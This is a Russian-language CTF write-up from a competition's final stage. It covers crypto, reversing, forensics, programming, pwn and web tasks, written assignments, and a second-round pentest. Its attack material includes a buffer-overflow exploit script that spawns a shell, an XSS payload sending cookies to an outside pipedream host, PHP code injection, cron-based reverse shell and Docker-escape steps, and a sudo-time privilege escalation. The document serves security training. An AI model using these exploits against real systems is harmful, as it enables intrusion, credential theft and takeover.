Первый тур заключительного этапа

Crypto

R 34.11-94

1. Брутим хэш по маске:
   ```
   hashcat -a 3 -m 6900
   b85ffd1360cc30a4ed0956b4688c1c6e75ab5d3d408226eadd619278170d4deb
   "CTF{N0t_s0_h4Rd_?a?a?a?a!}"
   ```

Это должно занять не больше 5 минут.

CTF{N0t_s0_h4Rd__#$%!}

2. Берем от этого md5:
   ```
   echo -ne "CTF{N0t_s0_h4Rd__#$%!}" | md5sum
   ```

4906e0737d0fb58a8203210fade0d3b0

И получаем флаг: CTF{4906e0737d0fb58a8203210fade0d3b0}

Reverse Engineering

Hasher

```
h =
'00715083B27701B0C1A1376311C133776767433713720 1C16101A0D040C1C171B22703C1C1B02203
B220F242C2C1C1C0D2F2A3E300DFBE997C533215F8C7A681'
dlen = 52  # --> 52 % 8 ==4

flag = ''

for i in range(0, len(h), 2):
    byte = int(h[i:i+2], 16)
    byte ^= dlen % 256
    byte = ((byte & 0x0f) << 4) | ((byte & 0xf0) >> 4)
    flag += chr(byte)
    if (chr(byte) == '}'):
        break
print(flag)
CTF{h4SH_Y0uR_p455w0rdS_USING__Th1s__HashAlgo__Only}
```

Forensics

EXIF

Видим картинку.

Пробежимся `exiftool` и `binwalk`:

```
Blue Y                          : 0.06
Comment                         : dGhvbWFz
Warning                         : [minor] Trailer data after PNG IEND chunk
0             0x0               PNG image, 1456 x 2704, 8-bit/color RGBA, non-
interlaced
126           0x7E              Zlib compressed data, best compression
1576045       0x180C6D          7-zip archive data, version 0.4
```

Строка в секции `Comment` в картинке на самом деле закодирована `base64`: `thomas`

Извлечем архив из картинки:

```
dd if=flag.png of=test.7z skip=1576045 bs=1
```

Затем можно попытаться открыть архив с паролем `thomas`:

```
7z x test.7z; cat flag.txt
```

И получить флаг: `CTF{y0U_H4v3_N0_1d34_H0w_Y0u_cAn_h1D3_1nf0Rm47I0n}`

PPC

Python Numbers

Мы можем заметить, что мы должны как-то сделать так, чтобы после выполнения данных строк последовательность скобок была равна напечатанному числу:

```
for i in temp:
        if i not in accepted: exit(-1)
if num != eval(temp): exit(-1)
```

После нескольких экспериментов можно заметить, что мы можем представить 0 & 1 в виде сравнения скобок:

```
>>> [()] > []
True

>>> ([()] > []) >> ([()] > [])
0

>>> 1 >> 1
0
```

То есть мы можем использовать сравнения и сдвиги скобок, чтобы создать любое число используя его битовое представление.

Финальное решение:

```
def calculate(number):
        bit_array = bin(number)[2:]
        one = '([()]>[])'
        temp = one
        for bit in bit_array[1:]:
                if bit == '1':
                        temp = f'(({temp}) << ({one})) | {one}'
                else:
                        temp = f'(({temp}) << ({one}))'
        return temp

def solve():
        if len(sys.argv) == 3:
                r = remote(sys.argv[1], int(sys.argv[2]))
        else:
                print('Usage: python3', sys.argv[0], 'ip port')
                sys.exit()
        r.recvline()
        num = r.recvline().strip()
        while 'CTF{' not in num.decode():
                r.sendline(str(calculate(int(num))).encode())
                num = r.recvline().strip()
        print(num.decode())


if __name__ == '__main__':
        from pwn import *
        solve()
```

Флаг: `CTF{N07_4ll_f347ur35_0F_7H3_l4N6U463_c4N_b3_U53d_F0r_7H3_c0Rr3C7_pUrP053}`

Binary exploitation

Safe Buffer

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=127.0.0.1'
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
exe = './vuln'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 4141)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    global libc, offset
    offset = 0x612a2
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    global libc, offset
    offset = 0x7c0b8
    libc = ELF('./libc.so.6')
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
```

```
io.recvuntil('...')
io.sendline('492019')
io.recvuntil('gift1: ')

cookie1 = (int(io.recvuntil('\n').strip(), 16) << 8) + 11
cookie2 = 0x1337dead

log.success(f'cookie1: {hex(cookie1)}')
log.success(f'cookie2: {hex(cookie2)}')

io.recvuntil('sh# ')
io.sendline('|%15$p|END')

libc_leak = int(io.recvuntil('END').split(b'|')[1],16)
libc_base = libc_leak - offset

log.success(f'LIBC LEAK: {hex(libc_leak)}')
log.success(f'LIBC BASE: {hex(libc_base)}')

p = b''
p += b'A'*256
p += p64(cookie1)
p += p64(cookie2)
p += p64(libc.symbols['system'] + libc_base)

io.recvuntil(': ')
io.sendline(p)

log.success('SHELL SPAWNED!')
io.interactive()
```

Флаг: `CTF{__pwn_0v3Rfl0w_345Y_c_5tRuCt__}`

Web

Hackburger

- Исследуем сайт, находим страницы `/login`, `/home`
- На `/products.html` видим xss, но с фильтрами, которые нужно обойти
- Фильтруются `<script>`, `</script>`, `<` в начале убирается, `</` заменяется на `/`
- Конечный эксплоит: `http://<domain>:<ip>/products.html?query=123%3CSCRIPT%3Edocument.location%3D%22https%3A%2F%2Fenyvusvo8faq.x.pipedream.net%3F%22%2Bdocument.cookie%3C%3C%2FSCRIPT%3E`
- Отправляем его админу на странице `/home` и ждем куки с флагом

Флаг: `CTF{0N30f_tOp10_OWASP}`

Задания с развернутым ответом

paper1

Шифр Плейфера или квадрат Плейфера — ручная симметричная техника шифрования, в которой впервые использована замена биграмм. Изобретена в 1854 году английским физиком Чарльзом Уитстоном, но названа именем лорда Лайона Плейфера[en], который внёс большой вклад в продвижение использования данной системы шифрования в государственной службе. Шифр предусматривает шифрование пар символов (биграмм) вместо одиночных символов, как в шифре подстановки и в более сложных системах шифрования Виженера.

Так же у шифра есть несколько особенностей:

- Буква ‘J’ заменяется на ‘I’ что бы сформировать квадрат 5x5
- ‘X’ используется как дополнительный символ, когда вам необходимо дополнить биграмму или разделить две одинаковые буквы
- Квадрат Плейфера заполняется построчно, начиная с ключевого слова.

Задача 1. Расшифровать сообщение по заданному ключевому слову ‘innopolis’: IMTXESTIIKBTPCRPQCDE

Задача 2. Зашифровать сообщение “Innopolis Open Information Security” используя ключевое слово “CTF”.

paper2

Кодирование Хаффмана – это алгоритм оптимального префиксного кодирования алфавита основанный на энтропии данных с минимальной избыточностью, который может быть использован как для кодирования информации при передаче по сети, так и в простейших алгоритмах сжатия.

Суть его крайне проста: алгоритм находит наиболее часто встречающийся символ и кодирует его 1 байтом, например 0. Следующий по частоте символ будет кодироваться 1, а все последующие - комбинацией 00, 01, 10, 11 и так далее.

Ваша задача - закодировать строку вида “Innopolis Open Information Security competition” оптимальным способом используя кодирование Хаффмана и привести результат в виде следующей таблицы:

Символ	Количество	Вероятность	Код
A	7	38,8 %	0
B	4	22,2 %	10
C	3	16,6 %	111
D	3	16,6 %	1110

creative1

Атаки вида Cross-Site-Scripting (XSS) имеют довольно высокую степень распространения и могут наносить довольно ощутимый вред (как для компаний, так и для частных пользователей). Существующие решения типа Web Application Firewall (WAF) не всегда способны определить и вовремя обрезать запрос, несущий в себе вредоносный код. Учитывая разные методы распространения (stored, reflected, DOM) и большое количество обхода защиты (так называемые bypass'ы) атаки данного вида можно назвать современным бичом интернета.

Ваша задача - представить теоретическое решение, которое смогло отслеживать бы максимальное количество таких атак, то есть определять не просто в запросе строку вида: <script>alert(123)</script>

Но и попытки обхода, например:

</script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>

Решение может быть представлено как набором регулярных выражений для поиска (в этом случае будет производиться подсчет сработок по известным базам xss), так и в ином виде, доступном для проверки.

creative2

Существует несколько стандартных видов топологий сетей (неполносвязных, то есть где каждый элемент не соединен напрямую с другим элементом, а передача может осуществляться через дополнительные узлы) - шина, звезда, кольцо и ячеистая.

Каждая из этих схем применима в своем особом случае, например шина, как самая простая и надежная, может быть применена преимущественно в домашних условиях, так как имеет серьезные ограничения на количество доступных узлов, а ячеистая наоборот, имеет сложную (в сравнении с остальными) структуру и обычно применяется в крупных компаниях.

Но вот две оставшиеся - звезда и кольцо - представляют собой некий промежуточный вариант между "домашним" и "промышленным" вариантом. Но в каких случаях какую из них лучше применять?

Ваша задача представить и обосновать для каких случаев какая из этих двух технологий больше подойдет и почему. Для удобства - Вы сами можете сформулировать и задать все необходимые параметры для каждого узла и топологии.

Второй тур заключительного этапа

Условия

У каждой команды будет выделенный доступ до 2 уязвимых машин (выдается только IP).

Задача получить root права на хосте. В директориях пользователей и рута будут лежать специальные файлы с флагом (их будет 5 штук), которые необходимо будет сдать в проверяющую систему.

После решения необходимо написать отчет о проделанной работе: какая уязвимость, как нашли и как проэксплуатировали.

Для каждой команды выделен специальный TOKEN, для получения списка ip-адресов машин.

Примеры запроса в жюрейку.

Получение списка адресов машин:

export CTFTOKEN=1234
curl -s -H "Authorization: Bearer $CTFTOKEN" http://IP:PORT | jq '.'

Также, можно рестартить машины (команда выполняется от 6 до 15 секунд, сам рестарт машины длится до двух минут). В качестве аргументов передавать параметр vm в query. Доступны поля 1 и 2. По итогу придет запрос 200, или 400 (если машина уже перезапускается, или она сломалась окончательно)

curl -s -X POST -H "Authorization: Bearer $CTFTOKEN" http://IP:PORT?vm=1

IP и PORT опубликуется перед началом тура.

На машине будет пользователь user с авторизацией по ssh-ключу. На всякий случай, во избежание потери контроля над машиной, а также более оперативной поддержке во время тура, не удаляйте ни ключ, ни юзера.

Escape

Решение:

initial foothold

Страница имела функционал regex-replace. Одна из возможных реализаций такого функционала использует mb_ereg_replace(), который может быть потенциально, если добавлен параметр 'e'. Получаем простую иньекцию php кода:

```bash=
curl 'http://178.154.213.49:8080/index.php' -H 'Origin: http://178.154.213.49:8080' -d string='123 test string' -d rep_f='(\d+)' -d rep_r='system("id")'
```

user

В директории /opt/ лежал файл id_rsa.bak, являющийся приватным ключом для юзера sam.

root contaner

В домашней директории юзера sam лежал файл, который мог редактироваться любым пользователем и который запускался через crontab от имени рута. Вставляем в файл строчки запуска реверес шелла или добавляем пользователя в группу sudo и получаем права рута.

root host

Docker Escape через добавления своего кода в модуль ядра (docker запущен с параметрами cap_sys_admin). Пишем/находим реверс шелл на c, комплилируем, загружаем в ядро через insmode и выходим из контейнера на хост.

Backdoor

Решение:

initial foothold

Находим через namechck.com репозиторий хакера на битбакете и узнаем имя web-shella, который он оставил на сайте, получаем первоначальный доступ.

user

На локалхосте (порт 11211) висела база memcahed с сохраненным паролем от пользователя:

```bash=
echo "stats items" | nc -vn -w 1 127.0.0.1 11211
echo "stats cachedump 1 0" | nc -vn -w 1 127.0.0.1 11211
echo "get config" | nc -vn -w 1 127.0.0.1 11211
```

root

Пользователю доступен вызов time из под sudo без ввода пароля. Easy root:

```bash=
sudo /usr/bin/time /bin/sh
```